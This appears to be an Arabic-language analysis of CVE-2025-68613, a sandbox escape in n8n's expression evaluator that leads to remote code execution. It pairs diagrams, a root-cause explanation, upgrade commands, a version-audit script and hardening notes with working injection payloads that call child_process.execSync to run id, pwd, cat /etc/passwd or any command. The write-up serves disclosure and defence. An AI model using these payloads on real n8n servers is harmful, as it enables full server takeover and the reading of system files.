CVE-2025-68613-n8n-rce-analysis

🔓 سلسلة الثغرة:
┌─────────────────────────────────────────────────────────────────┐
│  📝 لغة تعبيرات n8n → معالجة البيانات الديناميكية              │
│                           ↓                                     │
│  ⚠️  عزل غير كافٍ للصندوق الرملي في التقييم من جانب الخادم     │
│                           ↓                                     │
│  💀 هروب التعبير الخبيث من الصندوق الرملي                      │
│                           ↓                                     │
│  🖥️  الوصول إلى وحدة child_process في Node.js                  │
│                           ↓                                     │
│  💥 RCE كاملة - تنفيذ أوامر نظام التشغيل                       │
└─────────────────────────────────────────────────────────────────┘

graph TD
    A[🔐 مستخدم مُوثَّق] -->|ينشئ| B[📝 سير عمل جديد]
    B -->|يحقن| C[💀 تعبير خبيث]
    C -->|يطلق| D[⚡ تقييم التعبير]
    D -->|يستغل| E[🔓 هروب من الصندوق الرملي]
    E -->|يصل إلى| F[🖥️ بيئة تشغيل Node.js]
    F -->|ينفذ| G[💥 أمر نظام عبر child_process]
    G -->|يحقق| H[☠️ اختراق كامل للخادم]
    
    style A fill:#4CAF50,color:#fff
    style C fill:#ff9800,color:#fff
    style E fill:#f44336,color:#fff
    style H fill:#9c27b0,color:#fff

// 🔴 حمولة خبيثة (لا تستخدمها بشكل غير قانوني)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('أمرك_هنا').toString() })() }}

┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 السبب الجذري للثغرة                                                  │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  مُقيِّم التعبيرات في n8n يفتقر إلى أداة تنظيف تمنع تعبيرات الدوال      │
│  من الوصول إلى:                                                         │
│                                                                         │
│    ❌ this.process        → كائن عملية Node.js                          │
│    ❌ mainModule.require  → نظام تحميل الوحدات                          │
│    ❌ child_process       → تنفيذ أوامر نظام التشغيل                     │
│                                                                         │
│  هذا يسمح بالوصول المباشر إلى وحدات النظام وتنفيذ أكواد عشوائية!        │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

# 🛡️ ترقية n8n إلى الإصدار المُصحَّح
npm install -g n8n@latest

# أو باستخدام Docker
docker pull n8n/n8n:1.122.0

#!/usr/bin/env bash
# 🔍 CVE-2025-68613 تدقيق إصدار n8n

echo "🔍 جارٍ التحقق من إصدار n8n..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  ضعيف: n8n $VER متأثر بـ CVE-2025-68613"
        echo "📦 مطلوب: الترقية إلى 1.120.4 أو 1.121.1 أو 1.122.0+"
        exit 2
    else
        echo "✅ آمن: n8n $VER مُصحَّح"
    fi
else
    echo "❌ n8n غير موجود في PATH"
fi

# 🛡️ نشر n8n مُقوَّى
FROM n8n/n8n:1.122.0

# 👤 التشغيل كمستخدم غير جذر
USER node

# 🔒 تطبيق علامات وقت التشغيل التالية:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation 
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team